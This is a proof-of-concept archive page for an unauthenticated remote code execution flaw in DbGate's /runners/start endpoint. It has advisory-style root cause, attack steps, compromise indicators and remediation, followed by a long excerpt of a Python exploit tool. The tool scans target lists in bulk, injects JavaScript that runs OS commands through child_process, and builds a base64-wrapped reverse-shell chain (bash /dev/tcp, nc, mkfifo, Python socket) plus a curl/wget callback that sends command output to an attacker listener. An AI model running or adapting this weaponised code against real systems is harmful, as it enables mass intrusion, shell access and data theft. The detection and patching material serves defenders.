PoC Archive PoC Archive
Critical CVE-2026-47668 patched

DbGate Unauthenticated RCE via JSON Script Runner (CVE-2026-47668)

by Nxploited · 2026-07-05

CVSS 3.1/10
Severity
Critical
CVE
CVE-2026-47668
Category
web
Affected product
DbGate (dbgate-serve — web-based database management tool)
Affected versions
≤ 7.1.8 (fixed in ≥ 7.1.9)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherNxploited
CVE / AdvisoryCVE-2026-47668
Categoryweb
SeverityCritical
CVSS ScoreCVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
StatusPoC
Tagsdbgate, rce, code-injection, javascript-injection, cwe-94, cwe-20, cwe-1188, database-management
RelatedN/A

Affected Target

FieldValue
Software / SystemDbGate (dbgate-serve — web-based database management tool)
Versions Affected≤ 7.1.8 (fixed in ≥ 7.1.9)
Language / PlatformNode.js / JavaScript (server), Python 3 (exploit tool)
Authentication RequiredBearer token required, but obtainable via POST /auth/login on anonymous/default deployments
Network Access RequiredYes

Summary

DbGate’s dbgate-serve component exposes a JSON “script runner” (POST /runners/start) that dynamically builds and executes JavaScript in a Node.js child process based on user-supplied fields. Two of these fields, functionName and variableName, are embedded directly into the generated script without adequate validation, allowing an attacker who can reach the endpoint (including via a default/anonymous auth token on unhardened deployments) to inject arbitrary JavaScript and, through it, execute OS commands as the DbGate process user — a fully unauthenticated-in-practice remote code execution.


Vulnerability Details

Root Cause

POST /runners/start accepts a JSON “assign” command whose functionName and variableName values are interpolated into dynamically generated JavaScript that DbGate then runs in a Node.js runner child process. Because these values are not validated or sanitized (CWE-20, CWE-1188 improper input validation of structured data) before being embedded into executable code (CWE-94 code injection), an attacker can supply values that break out of the intended function/variable reference and inject arbitrary JavaScript, which can in turn invoke Node’s child-process APIs to run OS commands.

Attack Vector

  1. Attacker obtains a Bearer token via POST /auth/login — trivial on deployments left with anonymous or default authentication.
  2. Attacker sends a crafted POST /runners/start request in which the functionName and/or variableName fields contain injected JavaScript instead of a legitimate identifier.
  3. DbGate’s runner constructs and executes the resulting script in a Node.js child process, running the injected code — including OS command execution — as the DbGate service user.
  4. Command output is exfiltrated via an HTTP callback (the attacker’s listener) or, optionally, retrieved through a reverse TCP shell.

Impact

Full unauthenticated-in-practice remote code execution as the DbGate process user, on any reachable DbGate instance running an unpatched version with a bearer token obtainable (including default/anonymous auth). This can lead to complete host compromise, lateral movement, and exposure of any databases or credentials configured within DbGate.


Environment / Lab Setup

Target:    dbgate-serve <= 7.1.8, default port 3000
Attacker:  Python 3.9+, aiohttp, colorama (pip install -r requirements.txt)
Network:   Attacker needs an HTTP listener reachable from the target (or Docker host-gateway IP) for exfil/reverse shell

Proof of Concept

PoC Script

See CVE-2026-47668.py in this folder.

1
2
3
4
5
6
7
pip install -r requirements.txt

python CVE-2026-47668.py --cli -u http://TARGET:3000 --check-only

python CVE-2026-47668.py --cli -u http://TARGET:3000 --cmd "id"

python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50

Running the tool authenticates against /auth/login (or uses a supplied token), sends the injection via /runners/start against the functionName/variableName vector, and classifies the result as VULN / DISPATCH / EXFIL depending on whether confirmed command output is received via the HTTP callback (or optional reverse TCP shell), demonstrating full remote code execution.


Detection & Indicators of Compromise

POST /runners/start  {"...":"...","functionName":"<injected JS>", ...}

Signs of compromise:

  • Unexpected child processes spawned by the DbGate Node.js service, especially shell invocations (sh -c, cmd.exe).
  • Outbound connections from the DbGate host to unfamiliar external IPs/ports shortly after a /runners/start request (HTTP exfil callback or reverse shell).
  • Successful /auth/login calls using default/anonymous credentials followed immediately by /runners/start activity.

Remediation

ActionDetail
Primary fixUpgrade to DbGate / dbgate-serve ≥ 7.1.9.
Interim mitigationDisable anonymous/default authentication, restrict network access to the DbGate management interface, rotate any credentials potentially exposed, and review logs for suspicious /runners/start activity until patched.

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2026-47668 on 2026-07-05.

CVE-2026-47668.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# By: Nxploited
#
# DbGate JSON runner assessment tool (POST /runners/start injection checks)
# Patched in DbGate v7.1.9+. For authorized security testing only.

from __future__ import annotations

import argparse
import asyncio
import base64
import json
import os
import re
import socket
import sys
import threading
import time
from dataclasses import dataclass
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any, Dict, List, Optional, Set, Tuple
from urllib.parse import parse_qs, quote, urljoin, urlparse, urlunparse

import aiohttp
from colorama import Fore, Style, init as color_init

color_init(autoreset=True)

OUT_DIR = "Nx"
OUT_VULN = ""
OUT_DISPATCH = ""
OUT_REVSH = ""
OUT_EXFIL = ""
OUT_FAIL = ""
OUT_LIST_REPORT = ""
OUT_SUMMARY = ""
SESSION_DIR = ""
SESSION_ID = ""

DEFAULT_TARGETS = "list.txt"
APP_NAME = "dbgate"
DEFAULT_PORT = 3000          # DbGate default HTTP port
DEFAULT_CONCURRENCY = 30
DEFAULT_TIMEOUT = 15.0
DEFAULT_CALLBACK_PORT = 8888
DEFAULT_REVSH_PORT = 4444


# ── logging ──────────────────────────────────────────────────────────────────

def log_ok(msg: str) -> None:
    print(f"{Fore.GREEN}[+] {msg}{Style.RESET_ALL}")


def log_info(msg: str) -> None:
    print(f"{Fore.CYAN}[*] {msg}{Style.RESET_ALL}")


def log_warn(msg: str) -> None:
    print(f"{Fore.YELLOW}[!] {msg}{Style.RESET_ALL}")


def log_fail(msg: str) -> None:
    print(f"{Fore.RED}[-] {msg}{Style.RESET_ALL}")


def log_pwn(msg: str) -> None:
    print(f"{Fore.MAGENTA}[★] {msg}{Style.RESET_ALL}")


_SAVE_WARNED: Set[str] = set()


def save_line(path: str, line: str) -> None:
    if not path:
        return
    try:
        parent = os.path.dirname(path)
        if parent:
            os.makedirs(parent, exist_ok=True)
        with open(path, "a", encoding="utf-8") as fh:
            fh.write(line.rstrip() + "\n")
            fh.flush()
    except OSError as exc:
        if path not in _SAVE_WARNED:
            _SAVE_WARNED.add(path)
            log_warn(f"Cannot write to {path}: {exc}")


def init_nx_output() -> str:
    """Create Nx/ output tree; call before any scan."""
    global OUT_VULN, OUT_DISPATCH, OUT_REVSH, OUT_EXFIL, OUT_FAIL, OUT_LIST_REPORT, OUT_SUMMARY
    global SESSION_DIR, SESSION_ID

    os.makedirs(OUT_DIR, exist_ok=True)
    os.makedirs(os.path.join(OUT_DIR, "exfil"), exist_ok=True)
    SESSION_ID = time.strftime("%Y%m%d_%H%M%S")
    SESSION_DIR = os.path.join(OUT_DIR, "sessions", SESSION_ID)
    os.makedirs(SESSION_DIR, exist_ok=True)

    OUT_VULN = os.path.join(OUT_DIR, "vuln.txt")
    OUT_DISPATCH = os.path.join(OUT_DIR, "dispatch.txt")
    OUT_REVSH = os.path.join(OUT_DIR, "revsh.txt")
    OUT_EXFIL = os.path.join(OUT_DIR, "exfil.txt")
    OUT_FAIL = os.path.join(OUT_DIR, "failed.txt")
    OUT_LIST_REPORT = os.path.join(OUT_DIR, "list_report.txt")
    OUT_SUMMARY = os.path.join(SESSION_DIR, "summary.json")

    for p in (OUT_VULN, OUT_DISPATCH, OUT_REVSH, OUT_EXFIL, OUT_FAIL):
        open(p, "a", encoding="utf-8").close()

    log_ok(f"Output folder: {os.path.abspath(OUT_DIR)}/")
    log_info(f"Session: {SESSION_ID}")
    return SESSION_DIR


def exfil_target_key(target_url: str) -> str:
    """Canonical key for per-target exfil matching (mass-safe)."""
    if not target_url or target_url == "unknown":
        return "unknown"
    return ensure_target_url(target_url).rstrip("/")


def nx_exfil_path(target_url: str) -> str:
    tag = re.sub(r"[^\w.\-]+", "_", urlparse(target_url).netloc or "target")
    return os.path.join(OUT_DIR, "exfil", f"{tag}.txt")


def save_exfil_for_target(target_url: str, peer: str, decoded: str) -> None:
    line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] peer={peer}\n{decoded}\n{'─' * 40}"
    save_line(OUT_EXFIL, f"[{target_url}] {decoded[:500]}")
    save_line(nx_exfil_path(target_url), line)


def url_tag(url: str) -> str:
    return urlparse(url).netloc or url


# ── URL / targets ────────────────────────────────────────────────────────────

def normalize_base(url: str) -> str:
    url = url.strip()
    if not url:
        return ""
    if not re.match(r"^https?://", url, re.I):
        url = "http://" + url
    return url.rstrip("/")


def ensure_target_url(raw: str, default_port: int = DEFAULT_PORT) -> str:
    """
    Build a valid base URL: scheme://host:port/path
    Never appends port after path (fixes http://host/path:3000 bug).
    """
    raw = normalize_base(raw)
    if not raw:
        return ""
    p = urlparse(raw)
    scheme = (p.scheme or "http").lower()
    host = p.hostname
    if not host:
        return ""
    if p.port is not None:
        port = p.port
    else:
        # DbGate default when line has no explicit port (http or https)
        port = default_port
    path = p.path or ""
    if path == "/":
        path = ""
    netloc = f"{host}:{port}"
    return urlunparse((scheme, netloc, path, "", p.query, p.fragment))


def load_targets_raw(path: str) -> List[str]:
    out: List[str] = []
    try:
        with open(path, "r", encoding="utf-8") as fh:
            for line in fh:
                out.append(line.rstrip("\n\r"))
    except OSError as exc:
        log_fail(f"Cannot read targets: {exc}")
    return out


@dataclass
class ListLoadStats:
    raw: int = 0
    blank: int = 0
    comment: int = 0
    invalid: int = 0
    dup: int = 0
    resolved: int = 0


def parse_target_line(
    line: str,
    default_port: int = DEFAULT_PORT,
) -> Tuple[Optional[str], str, str]:
    """
    Returns (url, per_target_command, reason).
    Supports: host, host:port, URL, host/path, and optional |command per line.
    """
    original = line
    per_cmd = ""
    work = line.strip()
    if not work:
        return None, "", "blank"
    if work.startswith("#"):
        return None, "", "comment"

    if "|" in work:
        host_part, _, cmd_part = work.partition("|")
        work = host_part.strip()
        per_cmd = cmd_part.strip()

    line = work
    if not re.match(r"^https?://", line, re.I):
        if re.match(r"^[\d.a-zA-Z_-]+:\d+", line) and "/" not in line.split(":")[0]:
            line = f"http://{line}"
        elif re.match(r"^[\d.a-zA-Z_.-]+(:\d+)?/", line):
            if not line.startswith("http"):
                line = f"http://{line}"
        elif re.match(r"^[\w.\-]+$", line) or re.match(r"^\d{1,3}(\.\d{1,3}){3}$", line):
            line = f"http://{line}"
        else:
            line = f"http://{line}"

    url = ensure_target_url(line, default_port)
    if not url or not urlparse(url).hostname:
        return None, per_cmd, f"invalid:{original[:80]}"
    return url, per_cmd, ""


def load_targets_smart(
    path: str,
    default_port: int = DEFAULT_PORT,
) -> Tuple[List[str], Dict[str, str], ListLoadStats, List[str]]:
    """Load list file with stats; never mixes ports incorrectly."""
    lines = load_targets_raw(path)
    stats = ListLoadStats(raw=len(lines))
    seen: Set[str] = set()
    urls: List[str] = []
    per_cmds: Dict[str, str] = {}
    errors: List[str] = []

    for line in lines:
        if not line.strip():
            stats.blank += 1
            continue
        if line.strip().startswith("#"):
            stats.comment += 1
            continue
        url, per_cmd, reason = parse_target_line(line, default_port)
        if reason == "blank":
            stats.blank += 1
            continue
        if reason == "comment":
            stats.comment += 1
            continue
        if not url:
            stats.invalid += 1
            errors.append(f"{line.strip()} -> {reason}")
            continue
        if url in seen:
            stats.dup += 1
            continue
        seen.add(url)
        urls.append(url)
        if per_cmd:
            per_cmds[url] = per_cmd
        stats.resolved += 1

    return urls, per_cmds, stats, errors


def write_list_report(
    path: str,
    stats: ListLoadStats,
    urls: List[str],
    errors: List[str],
    default_port: int = DEFAULT_PORT,
    per_cmds: Optional[Dict[str, str]] = None,
) -> None:
    lines = [
        f"file={path}",
        f"raw={stats.raw} blank={stats.blank} comment={stats.comment}",
        f"invalid={stats.invalid} dup={stats.dup} resolved={stats.resolved}",
        f"default_port={default_port} (applied when line has no explicit port)",
        "",
        "=== resolved targets ===",
    ]
    for u in urls:
        cmd = (per_cmds or {}).get(u, "")
        lines.append(f"{u}|{cmd}" if cmd else u)
    if errors:
        lines.extend(["", "=== invalid lines ==="])
        lines.extend(errors)
    try:
        with open(OUT_LIST_REPORT, "w", encoding="utf-8") as fh:
            fh.write("\n".join(lines) + "\n")
    except OSError as exc:
        log_warn(f"Cannot write list report: {exc}")


def parse_login_json(raw: Optional[str]) -> Tuple[Optional[Dict[str, Any]], Optional[str]]:
    if not raw or not raw.strip():
        return {"amoid": "none"}, None
    try:
        data = json.loads(raw)
        if not isinstance(data, dict):
            return None, "login JSON must be an object"
        return data, None
    except json.JSONDecodeError as exc:
        return None, f"invalid login JSON: {exc}"


def guess_lan_ip() -> str:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except OSError:
        return "127.0.0.1"


def extract_bearer_token(data: Any, raw_text: str = "") -> Optional[str]:
    """Pull Bearer token from DbGate /auth/login JSON (several response shapes)."""
    if isinstance(data, dict):
        for key in ("accessToken", "token", "access_token", "jwt", "bearer"):
            val = data.get(key)
            if val and isinstance(val, str):
                return val
        for nest in ("data", "result", "user", "session", "auth"):
            sub = data.get(nest)
            if isinstance(sub, dict):
                found = extract_bearer_token(sub)
                if found:
                    return found
    if raw_text:
        for pattern in (
            r'"accessToken"\s*:\s*"([^"]+)"',
            r'"token"\s*:\s*"([^"]+)"',
            r'"access_token"\s*:\s*"([^"]+)"',
        ):
            m = re.search(pattern, raw_text)
            if m:
                return m.group(1)
    return None


class ReuseHTTPServer(HTTPServer):
    allow_reuse_address = True


# ── injection builders ─────────────────────────────────────────────────────────

def _js_escape_single(s: str) -> str:
    return (
        s.replace("\\", "\\\\")
        .replace("'", "\\'")
        .replace("\n", "\\n")
        .replace("\r", "\\r")
    )


def parse_revsh_endpoint(
    spec: Optional[str],
    default_port: int = DEFAULT_REVSH_PORT,
) -> Tuple[str, int]:
    """
    Parse LHOST:LPORT for reverse shell (address the *target* must dial).
    spec None / AUTO → guessed LAN IP + default_port.
    """
    if spec is None or str(spec).strip().upper() == "AUTO" or not str(spec).strip():
        return guess_lan_ip(), default_port
    raw = str(spec).strip()
    if raw.startswith("[") and "]" in raw:
        host = raw[1 : raw.index("]")]
        rest = raw[raw.index("]") + 1 :]
        if rest.startswith(":"):
            return host, int(rest[1:])
        return host, default_port
    if ":" in raw:
        host, _, port_s = raw.rpartition(":")
        host = host.strip()
        if not host:
            raise ValueError(f"invalid reverse-shell endpoint: {spec!r}")
        return host, int(port_s)
    return raw, default_port


def build_reverse_shell_cmd(lhost: str, lport: int) -> str:
    """
    Detached reverse-shell attempts (async exec). Uses base64-wrapped script
    to avoid broken nested quoting inside sh -c.
    """
    h, p = lhost, int(lport)
    script = (
        f"bash -i >& /dev/tcp/{h}/{p} 0>&1 2>/dev/null || "
        f"sh -i >& /dev/tcp/{h}/{p} 0>&1 2>/dev/null || "
        f"rm -f /tmp/.nx;mkfifo /tmp/.nx;cat /tmp/.nx|sh -i 2>&1|nc {h} {p} >/tmp/.nx || "
        f"nc -e /bin/sh {h} {p} 2>/dev/null || "
        f"busybox nc {h} {p} -e sh 2>/dev/null || "
        f"python3 -c \"import socket,os,subprocess;"
        f"s=socket.socket();s.connect(('{h}',{p}));"
        f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
        f"subprocess.call(['/bin/sh','-i'])\" 2>/dev/null"
    )
    payload_b64 = base64.b64encode(script.encode()).decode()
    return (
        f"(command -v base64 >/dev/null 2>&1 && "
        f"echo {payload_b64}|base64 -d|nohup sh >/dev/null 2>&1 &) || "
        f"(echo {payload_b64}|openssl base64 -d|nohup sh >/dev/null 2>&1 &)"
    )


def build_node_exec_js(shell_cmd: str, sync: bool = True) -> str:
    esc = _js_escape_single(shell_cmd)
    if sync:
        return (
            f"process.mainModule.require('child_process').execSync('{esc}',"
            f"{{encoding:'utf8',timeout:120000}})"
        )
    return f"process.mainModule.require('child_process').exec('{esc}')"


def build_shell_exfil(
    cmd: str,
    callback_url: str,
    b64: bool = True,
    target_tag: str = "",
) -> str:
    base = callback_url.rstrip("/")
    qs_parts: List[str] = []
    if target_tag:
        qs_parts.append(f"target={quote(target_tag, safe='')}")
    cb_full = f"{base}?{'&'.join(qs_parts)}" if qs_parts else base
    # Run command once, encode once, then try curl then wget (no double exec).
    if b64:
        return (
            f"__nx=$( ({cmd}) 2>&1 ); "
            f"b64=$(printf %s \"$__nx\" | base64 -w0 2>/dev/null "
            f"|| printf %s \"$__nx\" | base64 2>/dev/null || echo FAIL); "
            f"curl -sk -G '{cb_full}' --data-urlencode \"data=$b64\" "
            f"|| wget -qO- --post-data=\"data=$b64\" '{cb_full}'"
        )
    return (
        f"__nx=$( ({cmd}) 2>&1 ); "
        f"curl -sk -G '{cb_full}' --data-urlencode \"data=$__nx\" "
        f"|| wget -qO- --post-data=\"data=$__nx\" '{cb_full}'"
    )


def inject_function_name(node_js: str) -> str:
    return f"x;{node_js};//"


def inject_variable_name(node_js: str, fn_safe: str = "x") -> Tuple[str, str]:
    return f"x;{node_js};var __nx", f"{fn_safe};//"


def build_json_script(
    vector: str,
    node_js: str,
    props: Optional[Dict[str, Any]] = None,
) -> Dict[str, Any]:
    props = props or {}
    if vector == "functionName":
        return {
            "type": "json",
            "commands": [{
                "type": "assign",
                "variableName": "x",
                "functionName": inject_function_name(node_js),
                "props": props,
            }],
            "packageNames": [],
        }
    if vector == "variableName":
        var_name, fn_name = inject_variable_name(node_js)
        return {
            "type": "json",
            "commands": [{
                "type": "assign",
                "variableName": var_name,
                "functionName": fn_name,
                "props": props,
            }],
            "packageNames": [],
        }
    raise ValueError(f"Unknown vector: {vector}")


# ── exfil listener ───────────────────────────────────────────────────────────

class ExfilHandler(BaseHTTPRequestHandler):
Showing 500 of 1711 lines View full file on GitHub →